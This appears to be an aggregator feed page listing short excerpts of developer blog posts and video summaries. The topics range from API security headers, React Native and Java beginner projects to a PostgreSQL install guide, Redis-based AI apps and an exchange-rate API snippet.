    Hi there! I'm Maneshwar. Right now, I’m building LiveAPI, a first-of-its-kind tool that helps you automatically index API endpoints across all your repositories. LiveAPI makes it easier to discover, understand, and interact with APIs in large infrastructures. APIs are the lifeline of modern applications, enabling systems to talk to each other and share data. But without strong access control and secure configurations, APIs can become major attack vectors. Here's a focused breakdown on how to protect your APIs with proper access control and some essential security headers and configurations. Prevent brute-force and DDoS attacks Throttling restricts the number of requests a client can make in a defined time window. This is essential to stop: Brute-force login attempts where attackers guess…  ( 7 min )
    Fake Hacker Simulation Screen
    This is a fake hacking simulation screen.  ( 5 min )
    Lightning-Fast Address Matching …Now with a Smart Hybrid (Deterministic + LLM) Engine: A Fun Experiment
    Introduction Data cleaning is never sexy. Every CRM export, vendor feed, or merger spreadsheet comes with "ABC COMPANY LTD." vs "ABC Co. Limited", or "Flat 12B 8/F 25 Main St., HK" vs "25 Main Street, 8th Floor, Central, Hong Kong". "Can we dedupe 1 million addresses with millisecond latency, yet still be right when 'Flat 12B, 8/F' ≈ '8th Floor Flat 12B'?" Yes. Do it deterministically first; ask an LLM only when you are unsure. If you’re new to LLM chatbots, check out my earlier post: Step-by-Step Guide: Write Your First AI Storyteller with Ollama (llama3.2) and Semantic Kernel in C# (Have your Chatbot helper ready before continuing.) Requirement Pure RegEx / Jaccard Pure LLM Hybrid (RegEx + Jaccard ⇒ LLM) CPU / RAM ✔ tiny ✘ tens of GB ✔ tiny → medium (only on the 3 % "hard" cases…  ( 14 min )
    🚀 Stop Manually Setting Up Projects, Try create-launcher CLI
    “Why am I still copy pasting the same setup files again and again?” If you’ve ever asked yourself this after starting yet another web project... You’re not alone — I’ve been there too. So I built something to make project bootstrapping painless. create-launcher A zero-config CLI tool that lets you scaffold modern web projects instantly, with everything pre wired and ready to go. ✅ Interactive CLI with prompts ⚛️ Project templates: React (Vite) Next.js Eleventy (11ty) Vanilla JavaScript & TypeScript 🎨 Tailwind CSS integration (optional) 🧠 TypeScript support 📦 Pick your favorite package manager (npm, yarn, pnpm) 🔌 ESLint pre-configured ⚡ Auto installs everything you need npx create-launcher The CLI walks you through setup, just answer a few prompts, and boom 💥 ⚡ Creating a React + TypeScript + Tailwind project in under 30 seconds As a dev who loves shipping fast, I kept hitting the same roadblocks every time I started a new project - boilerplate, repeated setup, switching between Vite and Next.js, etc. Now, with create-launcher, I can: Start a project in under 15 seconds Have a consistent, clean folder structure Focus on writing code, not configuration 🔗 NPM Package GitHub Repo Templates On (Vue.js, Svelte, Angular etc.) Git init + first commit Prettier integration Optional GitHub Actions CI setup Custom template support I’d love to hear what you think. Let’s make spinning up projects feel exciting again. I'm Pranav Verma, a passionate Full Stack Developer and tech enthusiast exploring the intersection of DevTools, AI, and modern web development. I love building tools that simplify developer workflows and enhance productivity. 📫 Connect with me: 🔗 LinkedIn 🐦 Twitter / X 💻 GitHub 🚀 If you liked this project, don’t forget to ⭐ it on GitHub and share it with fellow devs!  ( 6 min )
    Membuat Tombol 'Play' Sederhana dengan WebSocket dan Honojs
    Pada kesempatan ini saya ingin membagikan perjalanan saya menyelami Honojs dengan memanfaatkan websocket untuk komunikasi realtime. Saya sangat menyukai permainan, terutama jenis permainan kompetitif. Salah satu momen yang menarik dalam permainan semacam ini adalah ketika para pemain memasuki sebuah ruangan sebelum memasuki medan kompetisi. Di ruangan tersebut, pemain akan menunggu sampai seluruh tim siap untuk bertanding. Proses ini memerlukan komunikasi realtime antara pemain, di mana teknologi seperti WebSocket dan Honojs dapat digunakan untuk menghubungkan mereka dalam sesi permainan, memastikan bahwa setiap pemain menerima pembaruan status secara langsung. Terinspirasi dari latar belakang diatas, maka saya membuat sebuah 2 halaman yaitu HomePage dan RoomPage. HomePage user bisa membu…  ( 7 min )
    The Essential Guide to Code Commenting: Best Practices, Types, and Documentation.
    When writing code, communication isn’t just between you and the machine, but it’s also between you and other developers (or your future self!). Clear and effective code commenting plays a vital role in making your code understandable, maintainable, and scalable. In this guide, we’ll explore: What code comments are and why they matter Different types of comments: inline vs. block The power of JSDoc for inline documentation How to balance commenting to avoid clutter Advantages of structured documentation over simple comments What Are Code Comments? Code comments are notes written inside your source code to explain what the code does, why certain decisions were made, or how to use a function or module. They don’t affect the program execution but are critical for clarity. Comments help: Other …  ( 7 min )
    Cardemic: Building with Bolt - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. Cardemic - Learn vocabulary effortlessly! Paste any YouTube link, get unknown words as Tinder-style flashcards, swipe to guess translations, and enjoy mastering new words from content you love! Team Members: Berkay Çit, Nurettin Çoban Project URL: https://devpost.com/software/cardemic Our experience building Cardemic during the World's Largest Hackathon was transformative, particularly with Bolt.new as our development companion. The project leveraged modern web technologies and AI-powered development tools. Bolt.new revolutionized our development process by: Rapid Prototyping: Bolt enabled us to quickly translate our ideas into functional code AI-Assisted Development: The intelligent code suggest…  ( 6 min )
    Why I Built Sounds Social with Meteor.js, React, Tailwind & Bytescale
    When I started building Sounds Social—a music platform where artists can upload and share their tracks—I faced an important decision: Which tech stack should I use to move fast, build something scalable, and deliver a modern user experience? This post explains why I chose Meteor.js for the backend, React for the frontend, Tailwind for styling, and Bytescale for media storage, and why this combination works so well for a project like Sounds Social. Building a music platform isn’t just about uploading audio. It’s about real-time interactions, a smooth user experience, and reliable file handling. Artists expect instant feedback when uploading tracks, and listeners want a responsive UI that feels like a modern app. I needed: Fast development without reinventing the wheel. Built-in real-time fe…  ( 7 min )
    🚀 KickOff Your Laravel Project
    Yesterday, I shared a simple tool called Laravel Kickstart — a plain PHP file (configure.php) designed to help you spin up a new Laravel project quickly. It was a good start, but as I worked with it further, I realised something: while the idea worked, maintaining and extending it in plain PHP wasn’t going to scale well. So today, I’m excited to introduce the next step forward: KickOff — a fully‑fledge package! The transition wasn’t just a name change. KickOff represents a shift from a quick script to a structured, maintainable solution built for the long run. Yesterday’s Version Today’s Version Single plain PHP file (configure.php) Proper Laravel package structure Quick but hard to maintain Clean, modular, and extendable Manual adjustments needed Composer‑ready for easy installation Good for prototypes Ready for serious projects By refactoring the code into a package, it makes the code: Cleaner Codebase: Built using Symfony’s package conventions. Composer Support: Installable and autoloaded without hassle. Extensibility: Room to add more features like commands, config options, or integration hooks. Community Ready: Easier to share, collaborate on, and contribute to. The source code is now available here: https://github.com/cleaniquecoders/kickoff Installation and usage instructions are included in the repository. I’m planning to onboard some of setup from my Project Template. KickOff is all about giving your next Laravel project a smoother, more confident start — without the headache of maintaining messy setup scripts. If you tried the earlier version, I’d love for you to give KickOff a spin and share your thoughts!  ( 8 min )
    Day 9 – My Data Analytics Journey at Payilagam
    I attended a mock interview session that gave me real-time exposure to the interview process and helped me assess my progress so far. Activities of the Day: Aptitude Test Group Discussion (GD) Face-to-Face Interview HR Interaction Session Each round improved my confidence, communication skills, and interview readiness. In the HR session, I learned: How to apply for jobs effectively Top platforms like LinkedIn, Naukri, and Internshala How to present myself professionally Mock Interview – Today's Questions What is a Pivot Table? A Pivot Table in Excel is a tool used to summarize, analyze, and explore data. What are Charts in Excel? Charts visually represent data to help users identify trends, patterns, and comparisons. Python: Voting Eligibility Program What I Learned Today?: ●How to explain concepts clearly under pressure My Goal To become a skilled and confident Data Analyst with a strong foundation in: Python Excel SQL Communication & Interview Skills If you're a beginner like me, stay consistent, practice daily, and be open to feedback. Every small step counts toward your big goal.  ( 6 min )
    Adam Savage's Tested: Why Build Optimization Isn't Always the Answer
    Why Build Optimization Isn’t Always the Answer In this live-stream clip, Adam Savage teams up with Nerdforge’s Martina and Hansi to tackle viewer questions—everything from why certain craft supplies are easy to find in the U.S. but scarce in Norway, to whether you start projects by picking a tool or spinning ideas first. They riff on process, materials, and the joys (and pitfalls) of improvising with what you’ve got. For more shenanigans, dive into their related videos—like “Adam Savage Meets Nerdforge,” “Reacts to Nerdforge’s Builds,” or Martina’s prosthetic-pinky update—and don’t forget to subscribe to Tested for merch, behind-the-scenes access, and all the build-driven fun. Watch on YouTube  ( 5 min )
    GameSpot: Battlefield 6 Could Be The Successor To Battlefield 3 & 4 The Series Needs | Hands-On Impressions
    Battlefield 6 ditches the sci-fi trappings and brings the action back to a modern battlefield, leaning hard into the classic vibes that made Battlefield 3 and 4 fan favorites. Early impressions suggest it’s a safe, nostalgia-driven play, promising familiar gunplay and maps with just enough new twists to feel fresh. Watch on YouTube  ( 5 min )
    IGN: Top 10 Best Battlefield Games Ranked
    Battlefield’s journey kicked off with 1942 back in 2002, and EA/DICE have kept the adrenaline pumping ever since. From massive 100-plus player maps to gritty solo campaigns, the series reinvents itself across eras—from WWII dogfights to modern firefights and even Miami’s drug-war chaos—proving there’s always something fresh on the battlefield (even if a few missteps snuck in). With Battlefield 6 on the horizon, now’s the perfect moment to rank the top 10 entries that have defined large-scale multiplayer warfare. Whether you’re a history buff, a modern-combat junkie, or just in it for pure online mayhem, this list has the ultimate showdown for every fan. Watch on YouTube  ( 5 min )
    IGN: Spider-Man: Brand New Day - Official Suit Reveal Teaser (2026) Tom Holland, Zendaya, Mark Ruffalo
    Get ready for a fresh look at Peter Parker’s next adventure! The new teaser for Spider-Man: Brand New Day gives us our first peek at Tom Holland’s slick, upgraded suit—and it’s brimming with cool details. He’s joined by Zendaya, Jacob Batalon, Jon Bernthal as The Punisher, Sadie Sink, and Mark Ruffalo back in Hulk mode. Circle July 31, 2026, on your calendar—this one’s swinging into theaters fast! Watch on YouTube  ( 5 min )
    # Temperature and Steam Logging with Python and Arduino
    You ever start a project just to “see if it works” and end up obsessed for a week straight? Yeah, that was me—trying to figure out how to track steam levels in a DIY sauna setup. Long story short: sensors, Python, Arduino… and a few too many cups of coffee. So, what started as a random weekend idea turned into a legit little dashboard tracking temperature and steam over time. And let me tell you—it’s weirdly satisfying watching your data come to life in real time. But first, let’s talk context. Okay, so I was looking into wellness trends (don’t judge), and somehow I ended up reading about this thing called a Yoni Steam Cleanse Chicago il. It’s this gentle herbal steam bath designed for self-care—and apparently it’s a big thing in holistic circles. That got me thinking: what if you could l…  ( 7 min )
    [Boost]
    Vector Databases: Foundations, Function, and the Future of AI Retrieval Lorenzo Bradanini for CortexFlow ・ Jul 8 #software #programming #database #datascience  ( 5 min )
    🚀 Introducing ShirazGard: An Open-Source, Bilingual City Guide for Shiraz, Iran 🇮🇷
    Hi devs! 👋 I’m excited to share my latest project: ShirazGard, an open-source Android app designed to help both tourists and locals explore the beautiful city of Shiraz, Iran. Most city guide apps for Iran are either outdated, lack bilingual support, or don’t offer a modern user experience. I wanted to build something that’s not only useful for travelers, but also a showcase of clean Kotlin code, MVVM architecture, and modern Android development best practices. Comprehensive POI Database: 8 essential categories (historical sites, restaurants, hotels, hospitals, gas stations, parking, cultural centers, public toilets) Rich Details: High-quality photos, GPS coordinates, user-generated tips, accessibility info Smart Navigation: One-tap directions (Google Maps/Waze/Snap integration) Bilingual Support: Instant language switching (English/Farsi) Social Features: Ratings, reviews, favorites, user profiles with avatars Personalized Experience: Dark/Light mode, favorites, custom profiles Kotlin, MVVM architecture Back4App (Parse) as backend Retrofit, Hilt, Coroutines, DataStore, Glide, Lottie, OsmDroid, Lingver and more NoSQL document-based structure (Back4App) Collections for Places, Comments, Photos, Favorites Bilingual fields for all text data I believe in giving back to the dev community and making tools that can be forked, improved, or even adapted for other cities. All code is available under the Apache 2.0 license. Feedback: I’d love your thoughts on the codebase, architecture, and UX. Contributions: PRs and issues are welcome! Ideas: Feature suggestions or requests for other cities? Let me know! GitHub: https://github.com/KianMahmoudi/shiraz-gard Contact: kianmahmoudi9@gmail.com Thanks for reading! If you’re interested in Android, Kotlin, or open-source city guides, I’d love your feedback and contributions. 🌸  ( 6 min )
    Why Browser Games Are Surpassing Premium Platforms — From a Developer's Perspective
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    What is Soft Launching? A Covert Plan of Major Disclosures
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    About Me
    This is written for my about page on my v4 portfolio, at https://hamdivazim.hamdtel.co.uk/about. Hey 👋 I'm Hamd Waseem. I've been coding since I was six, and now I'm one of the youngest people to hold three AWS Certifications. I have experience in Python, web development, cloud computing and game development. This website is my home to showcase the projects I've made, and to write blog posts that teach others what I have learnt. I want to learn more about software engineering with Python, Swift, Next.js, Unity and so much more, and I want to make it easy for you to learn as well in bite sized posts. I first learned Swift when I was six. I built simple games and programs before moving onto Python. I continued learning by coming up with random project ideas, and sitting down to make them. I…  ( 6 min )
    Transform Your Web Experience: Premier CSS Animation Libraries for 2025
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    Understanding Linear Regression Inside-Out: Practical Implementation with scikit-learn and TensorFlow
    Welcome back to Part 2 of the series: In Part 1, we explored the foundations of linear regression by building it from scratch using NumPy. We delved into concepts like prediction, loss gradient, gradient descent, gaining an inside-out understanding of how linear regression models learn. While implementing these algorithms manually is essential for learning, real-world machine learning applications require more efficient, scalable, and production-ready tools. In this second part, we shift our focus to practical implementations using two widely used machine learning libraries: scikit-learn and TensorFlow. We'll use the same dataset with identical data loading logic, so we'll skip that section (refer to Part 1's Data Processing section if needed). Although scikit-learn doesn't require normali…  ( 7 min )
    Mastering React Native with TypeScript: From Basics to Brilliance - Part 3
    React Native has come a long way, and with the latest versions offering improved performance and TypeScript-first development, it’s a great time to dive into building robust apps with navigation and API communication in mind. Setting up React Navigation in a TypeScript project Working with Stacks and Tabs Managing API calls with axios and useEffect Handling loading, error, and data states Bonus: Tips for organizing your codebase! Node.js 18+ React Native CLI or Expo (we'll go with bare React Native here) React Native 0.76+ TypeScript Basic understanding of React Native components First, install the required dependencies: npm install @react-navigation/native npm install react-native-screens react-native-safe-area-context react-native-gesture-handler react-native-reanimated npx pod-install …  ( 7 min )
    🔌 Build a Native Module in React Native (Battery Level Example for Android & iOS)
    Ever wonder how libraries like react-native-camera or react-native-device-info access native features? We'll build a lightweight but powerful native module called BatteryStatus that retrieves the current battery level of the device. It’s a perfect hands-on project to understand how the React Native bridge acts as a translator between your JavaScript and native code — giving you the best of both worlds: cross-platform development and low-level access to device features. Make sure the following tools are installed and working: ✅ Node.js & npm ✅ React Native CLI (npx react-native init) ✅ Android Studio (for Android) ✅ Xcode (for iOS on macOS) ⚠️ This tutorial is for React Native CLI projects (not Expo). Expo doesn’t support custom native modules out of the box unless you eject or use Expo Mod…  ( 7 min )
    How Pseudocode Programming Process Leveled Up My Software Engineering Skills
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    The Honest Roadmap to Learning Machine Learning
    Tech moves fast. Memorizing every algorithm is a losing game. Instead, get good at: Problem decomposition – turn “predict customer churn” into tidy sub-problems. Resource hunting – know where to look when the docs fail. 80/20 filtering – ignore the blog-post-of-the-week until you actually need it. If you can do those three things, the rest is just execution. Start here because you’ll see results today. Install Python and JupyterLab. Then cover the absolute basics: Topic Why it matters One-liner test Variables & types You’ll use these every day. age = 32; type(age) Lists/dicts Every dataset becomes one of these. df['income'].mean() Functions Keeps code reusable. def clean(df): return df.dropna() pandas Excel on steroids. df.groupby('state').sales.sum() Do: One beginne…  ( 7 min )
    Building an AI FAQ Assistant with Redis 8 and OpenAI
    What I Built I built an AI-powered FAQ assistant that delivers instant, context-aware answers to user questions using Redis 8 and OpenAI. It supports semantic search with Redis Vector similarity and intelligently caches responses using RedisJSON to speed up repeated queries. Users can interact with a friendly chat interface that retrieves and returns answers in real time. The goal of this project is to demonstrate how Redis can be used as a real-time AI data layer to power conversational interfaces, specifically for use cases like FAQs, support bots, and knowledge assistants. Note that the cache duration is set to 15 mins due to the limited storage Live App: https://master.d15ripqxac0b7u.amplifyapp.com Initial page load: Response from app: With cached data: From Redis Insight Github: https://github.com/dilumdarshana/ai-faq-memory-assistant Redis 8 was the core engine that powered both performance and intelligence in this project. Here’s how I used its features: Redis Stack (RedisJSON + RediSearch + Vector Similarity Search): Vector Search for Semantic Understanding: Intelligent Caching with RedisJSON: FT.SEARCH Sorting by Date: Redis not only made the solution real-time and scalable, but it also gave me a flexible and powerful way to combine structured, vector, and text search in one place. Design: This project shows how Redis 8 can be a game-changer for real-time AI applications. Whether you're building FAQ bots, search interfaces, or RAG-based assistants, Redis offers a powerful and developer-friendly solution. Tech Stack: Redis 8 (Vector Store, RediSearch, RedisJSON) OpenAI (gpt-4o, embeddings) Next.js (LangChain, TypeScript) pnpm AWS Amplify  ( 6 min )
    PostgreSQL Installation Guide for Linux Servers
    Introduction Prerequisites Operating system (Ubuntu, CentOS, Debian) Stable internet connection Terminal User access with sudo privileges Installation guide on ubuntu Update your system Ensuring system package list is up to date before installing new software. For Ubuntu sudo apt update && sudo apt upgrade 2.Install PostgreSQL PostgreSQL :Main database PostgreSQL-contrib: Add useful extensions 3.Verify Installation psql --version PostgreSQL User Setup sudo su - postgres Access the PostgreSQL prompt. psql Set a password for the postgres user ALTER USER postgres WITH PASSWORD 'your_secure_password'; Exit the postgres user. exit Post-Installation Tips Database users should use strong passwords. Restrict remote access using a firewall. Back up your database regularly.  ( 5 min )
    Cardemic: Beyond the Code - WLH Challenge
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    How Does OpenAI's $6.6 Billion Funding Top Most Countries' GDP?
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    What if Vanilla JS was enough?
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    How to Show Packages as a Folder Hierarchy in Eclipse (Instead of Dotted Names)
    When working in Eclipse, you might see packages displayed as a single dotted line like this: src └ clazz.employeeinfo But sometimes, you may want to see the actual folder hierarchy instead: src └ clazz └ employeeinfo Problem Solution Open Package Explorer. Click the view menu icon (⚙ or ▼) in the top-right corner. Select Package Presentation → Hierarchical. Result Flat mode: clazz.employeeinfo Hierarchical mode: clazz → employeeinfo Extra Tips Working Sets: Group multiple projects for better organization.  ( 5 min )
    What Is SameAgeDates? A Space to Celebrate Romantic Growth at Any Stage of Life
    What is SameAgeDates? In a world where dating can often feel like a digital labyrinth, SameAgeDates emerges as a beacon of simplicity and sincerity. This online dating platform is designed for individuals who seek heartfelt connections with those who share the same age bracket. SameAgeDates aims to eliminate the often confusing age-related dynamics that can complicate relationships. It’s a space where you can explore connections with presence, warmth, and a sense of emotional renewal. Whether you're opening your heart again or simply looking to enjoy meaningful conversation with someone who understands your rhythm, SameAgeDates offers a supportive environment that centers on comfort, respect, and sincerity. Curious to learn more about this platform? Visit the SameAgeDates website to expl…  ( 8 min )
    Krish Naik: Step By Step Process To Build MultiModal RAG With Langchain(PDF And Images)
    Step-by-Step MultiModal RAG with LangChain Dive into an end-to-end tutorial on building a MultiModal Retrieval-Augmented Generation (RAG) pipeline using LangChain—perfect for handling PDFs packed with images. You’ll get hands-on guidance, complete code examples, and a link to the GitHub repo for reference. Want more deep dives? Check out the author’s full range of courses at krishnaik.in/courses. Watch on YouTube  ( 5 min )
    Get Real-Time Bangladeshi Taka Exchange Rates Without an API Key
    If you're building a product for Bangladeshi users—like a remittance tool, ecommerce site, or financial dashboard—a live Taka rate adds transparency and trust. Using HexaRate API, you can fetch real-time BDT exchange rates with zero authentication. HexaRate offers: No API key required No rate limits Mid‑market rates updated daily Free access to major fiat currencies (including BDT) :contentReference[oaicite:1]{index=1} To get today’s Taka rate (1 USD to BDT): https://hexarate.paikama.co/api/rates/latest/USD?target=BDT { "status_code": 200, "data": { "base": "USD", "target": "BDT", "mid": 119.51, "unit": 1, "timestamp": "2025-08-01T05:16:50.272Z" } } Here, mid shows the mid-market rate: 1 USD ≈ 119.51 BDT. :contentReference[oaicite:2]{index=2} Add this snippet to display the rate on your page: Loading rate… res.json()) .then(obj => { const rate = obj.data.mid; document.getElementById("usd-to-bdt").textContent = `1 USD = ${rate} BDT`; }) .catch(err => console.error("Rate fetch failed:", err)); To calculate any amount from USD to BDT: function convertUsdToBdt(amount) { fetch("https://hexarate.paikama.co/api/rates/latest/USD?target=BDT") .then(res => res.json()) .then(obj => { const converted = (obj.data.mid * amount).toFixed(2); console.log(`${amount} USD = ${converted} BDT`); }); } convertUsdToBdt(500); Price estimation at checkout Remittance comparison widgets Currency converters in blogs or dashboards Historical trend charts using cached data Final Thoughts If you're looking for a reliable, zero‑auth, no‑limits API to serve Ajker Takar Rate, HexaRate delivers. It’s lightweight, fast, easy to integrate, and perfect for client-side apps or dashboards. Explore more on their documentation site or try the endpoint today. Live Preview : আজকের টাকার রেট  ( 6 min )
    🤖 What is a Parameterized Job in Jenkins?
    In Jenkins Parameterized Job is a type of job that allows us to select parameters while building the Jenkins Job. There are various types of Parameters we can select. For example - String, Choice, etc. In this article, we are going to see how to make a Parameterized Jenkins Job. echo $Param1 When we need to pass the values just before the job build, then we can pass the values. If there's a need that we have to pass the commands at run time. So, we can use this option.  ( 5 min )
    EventStream Hub - Real-Time Event Processing with Redis as Primary Database
    This is a submission for the Redis AI Challenge: Beyond the Cache. EventStream Hub is a comprehensive event management platform that uses Redis 8 as its primary database for storing, processing, and serving all application data. The system handles event creation, real-time attendee management, live updates, and analytics entirely through Redis's advanced data structures. Key features: Complete event lifecycle management Real-time attendee tracking and notifications Live event analytics and insights Multi-tenant architecture with data isolation 🔗 Live Demo: https://eventstream-hub.netlify.app Video Demo: https://youtu.be/demo-eventstream Screenshots: Event management dashboard Real-time analytics interface Attendee interaction timeline Redis 8 serves as the complete data foundation for Eve…  ( 6 min )
    Web Developer Travis McCracken on Using Async Rust Safely
    Unlocking the Power of Backend Development with Rust and Go: Insights from Web Developer Travis McCracken Hello, fellow tech enthusiasts! I’m Travis McCracken, a passionate web developer specializing in backend systems. Over the years, I’ve had the opportunity to explore various programming languages and frameworks, but recently, Rust and Go have emerged as my top contenders for building robust, high-performance APIs and backend services. Today, I want to share some insights into how these powerful languages are transforming backend development—and introduce you to some of my recent projects (though I must admit they’re a bit fictional for now), like ‘fastjson-api’ and ‘rust-cache-server’. Whether you’re a seasoned developer or just starting out, I hope this article sheds light on the imme…  ( 7 min )
    How to Test Your Node.js & Postgres App Using Drizzle & PGlite
    I was recently tasked with writing tests for a large-scale production codebase serving over 2.1 million users. During my conversation with the lead engineer he mentioned something that stood out: “One of our biggest pain points is our test setup.” That conversation made me realize, that the approach I’ve been using might actually be more useful than I thought. This post walks through that setup. We mostly use PostgreSQL in production and write functional or integration tests, which means no database mocking. In the past, we relied on Testcontainers, to spin up real Postgres instances, but that approach was, slow and heavy. You can find my other article on Testcontainers here: The death of mocks by Testcontainers Eventually, we went looking for lighter alternatives. That’s when we found @e…  ( 6 min )
    Font suggestions for my personal website
    A post by Ahmet  ( 5 min )
    RBAC Models Explained
    Managing who can do what in an application is a fundamental challenge for developers. As your app becomes more complex and your user base grows, manually assigning permissions to every user becomes unmanageable and error-prone. Role-Based Access Control (RBAC) solves this by grouping permissions into roles and assigning roles to users. RBAC is one of the most widely used access control models. It enforces the principle of least privilege, simplifies admin tasks, and improves auditability. But "RBAC" isn't a single, monolithic concept. It's a spectrum of models, each suited for different needs. Choosing the right one is critical for building a secure and scalable application. What we'll cover RBAC Foundations: Core concepts and structure Hierarchical RBAC: Role inheritance and org charts …  ( 8 min )
    3D Sliding Card
    Check out this Pen I made!  ( 5 min )
    PcapPlusPlus: Your New Secret Weapon for Network Packet Mastery
    Quick Summary: 📝 PcapPlusPlus is a multiplatform C++ library designed for efficient capturing, parsing, and crafting of network packets. It provides C++ wrappers for popular packet processing engines like libpcap, WinPcap, Npcap, DPDK, AF_XDP and PF_RING. It supports decoding and forging capabilities for a large variety of network protocols and can be downloaded via GitHub, Homebrew, Vcpkg, Conan or built manually. ✅ Cross-platform compatibility for seamless development across various operating systems. ✅ Supports a wide range of packet processing engines, offering maximum flexibility. ✅ Intuitive C++ wrappers simplify interaction with network packets, saving you time and effort. ✅ Comprehensive protocol support enables detailed network traffic analysis. ✅ Advanced features like…  ( 7 min )
    Simple Java Project: Rock, Paper, Scissors Game (with Detailed Explanation)
    The Rock, Paper, Scissors Game is a classic, fun Java project perfect for beginners looking to practice conditionals, user input, random number generation, comparison logic, and loops. This walkthrough will guide you step-by-step through building a console-based version of the game. Lets the user select rock, paper, or scissors. Randomly generates the computer’s (opponent’s) choice. Determines and displays the winner based on standard rules. Allows the user to play multiple rounds until they choose to quit. Scanner for user input. Random for computer’s choice. if-else and switch for game logic. Loops for playing again. String comparison for validating and scoring. java import java.util.Scanner; import java.util.Random; Create your class and the main method: java public class RockPaperScis…  ( 7 min )
    CodeBoarding: Interactive Diagrams of Code
    CodeBoarding CodeBoarding is an open-source codebase analysis tool that turns large codebases into interactive, high-level diagram representations—so both humans and soon agents can understand them. Designed for onboarding, documentation, and system comprehension, CodeBoarding uses static analysis and LLM agents to map out your project’s structure, then turns that into diagrams you can embed in your docs, IDE, or CI pipeline. When I started programming, I remember spending hours drawing up diagrams for codebases just to understand the repo. Years later - I still find diagrams the best way to get a mindmap before diving into new code. So I built this (fully free) open-source project to generate those diagrams automatically. It summarizes repositories into simple, visual representations that you can explore at different levels of abstraction. Hope this helps. Please try it out and let me know what you think. Run CodeBoarding on your own repo: 🌐 www.codeboarding.org/demo Source code: 📄 www.github.com/CodeBoarding/CodeBoarding Control Flow Graph Extraction It starts with static analysis—extracting modules and their relationships based on control flow, not just import graphs. Multi-level Abstraction via LLMs CodeBoarding uses an LLM agent (provider-agnostic) to organize these into conceptual modules, abstractions, and summaries. Diagram Generation Outputs are rendered as Mermaid.js diagrams—interactive and embeddable in docs, IDEs, and web interfaces. MCP Integration (in progress) The generated representation can be served via a lightweight MCP server, allowing AI devtools (e.g., ClaudeCode, Cursor, VSCode agents) to query context-aware summaries and structure. Next steps Support more languages: Support for additional static-analysis friendly languages (e.g., Go, TypeScript, C++) is on the roadmap. Feedback on which to prioritize is very welcome! MCP Server: An MCP server is under development to allow your dev agents to use the overview for improved codebase indexing.  ( 6 min )
    The Rise of Real-Time Data: Why Batch Might Be Fading
    Ever wondered why your favorite apps feel so snappy and responsive these days? The quiet revolution from batch processing to real-time data streams powers live dashboards, instant alerts, and seamless user experiences. Batch jobs, once the stalwarts of data workflows, are starting to feel like relics as real-time data takes center stage. Let’s unpack why this shift transforms the tech landscape and what it means for developers and enthusiasts alike. The Batch Era: A Thing of the Past? Lag Time: Batch processing introduces delays, often spanning hours or days. Scalability Issues: As datasets grow, scheduled runs struggle to keep pace. User Expectations: Modern apps thrive on live updates, leaving stale batch reports behind. This lag can frustrate users and limit business agility, pushing th…  ( 7 min )
    Build a Professional Harvard-Style Academic CV with This Open Source Jekyll Theme
    Looking for a clean, classic, and customizable CV template tailored for academics, researchers, and students? Check out my new Harvard-style CV Jekyll theme — designed to give your academic CV the timeless Harvard layout with easy GitHub Pages deployment. Classic Harvard academic CV format: well-organized, print/PDF-friendly, and professional. Simple setup with YAML configuration — no coding needed! Mobile-responsive and clean design for both web and print. Instant deployment via GitHub Pages for a polished online CV. PhD students, researchers, postdocs, and academics who want a no-fuss digital CV with an option to print or share online hassle-free. Use it as a remote_theme in your Jekyll site Customize your data in the YAML files Deploy effortlessly with GitHub Pages Check out the demo and repo here Would love to see your CVs built with this theme! Feel free to share screenshots, ask questions, or suggest features.  ( 5 min )
    Help me find Datasets
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    Dart Lesson 2: operators and flow control. They act like a program's "logic engine"
    Today, we'll dive into the core that makes programs "come alive" - operators and flow control. They act like a program's "logic engine," driving it to run according to the rules we set. Operators are used to manipulate data. Dart has a variety of operators, and we'll focus on the following categories: These perform basic mathematical operations. Operator Name Example Description + Addition 5 + 3 → 8 Adds two numbers - Subtraction 5 - 3 → 2 Subtracts the second number from the first * Multiplication 5 * 3 → 15 Multiplies two numbers / Division 5 / 3 → 1.666... Divides two numbers, returns a floating-point result ~/ Integer Division 5 ~/ 3 → 1 Divides two numbers, returns only the integer part (discards decimals) % Modulus (Remainder) 5 % 3 → 2 Returns the remain…  ( 10 min )
    Simple Java Project: Simple Banking System Simulation (with Detailed Explanation)
    A Simple Banking System Simulation is an excellent Java project for beginners eager to practice classes, objects, user input, variables, methods, menu-driven programs, and state management. This project simulates banking basics like balance checks, deposits, and withdrawals—all through the console. Allow users to check their account balance. Make deposits and withdrawals. Display account information. Exit via a menu. All data is stored in-memory—no external files or databases. Classes & Objects: Representing a bank account with fields and methods. User Input: Using Scanner for seamless interaction. Conditional Logic: Ensuring valid transactions (can’t withdraw more than the balance). Menu-Driven Programs: Using loops and switch-case to navigate options. Encapsulation: Using getters/setters…  ( 7 min )
    New Node.js template engine
    A modern take on server-side templating, focused on performance, security, and developer experience. In the world of Node.js templating engines, many developers rely on tools like EJS, Handlebars, or Pug. But when your goal is maximum speed, developer-friendly syntax, and built-in security, TAO is here to lead a new path. TAO is a minimalist, embedded JavaScript templating engine that prioritizes simplicity, speed, and safety. Inspired by Eta, but refined with clear design decisions, TAO is ideal for developers who want fast rendering, helper flexibility, and minimal overhead. 🚀 Super fast rendering and compilation 🔧 Configurable prefix options, caching, and path resolution 🔥 Built-in caching for templates ⚡️ Includes support 📝 Clean template syntax (no prefix required) 💻 Enhanced DX …  ( 7 min )
    SC-300 Exam Explained: Complete Guide to Microsoft Identity and Access Administrator
    Are you ready to take your cybersecurity and identity management skills to the next level? The SC-300: Microsoft Identity and Access Administrator exam could be your golden ticket. Whether you're a student, professional, or career switcher, this certification opens doors to high-demand job roles in identity security and access governance. In this comprehensive guide, we’ll explore what the SC-300 exam is, who should take it, the exam format, study strategies, and exam-day tips. We’ve also included motivational insights to help you conquer the stress and stay focused on your goal. Thinking about leveling up in security? Discover why the SC-300 should be your next move! 🔗 Read now: https://kahyagilmete.substack.com/p/why-the-sc-300-is-your-next-must The SC-300, officially titled Microsoft I…  ( 8 min )
    Invoice Generator: 7 Best Free Tools to Use in 2025 (Ultimate Guide)
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    Compound Components in React: A Design System Superpower
    When building component libraries or design systems, flexibility and developer ergonomics are key. You want developers to compose your components like Lego blocks, without worrying about internal state wiring. That’s where Compound Components come in. Compound Components are a React design pattern where: A Parent Component (Root) holds shared state or behavior. Child Components consume context from the parent, without needing to pass props manually. It allows developers to compose UIs declaratively, while the library handles the interactions under the hood. Library Compound Components API Radix UI React Aria Components Headless UI (Tailwind) <MenuBu…  ( 6 min )
    Building My First MCP Server: Scratching That Obsidian Itch
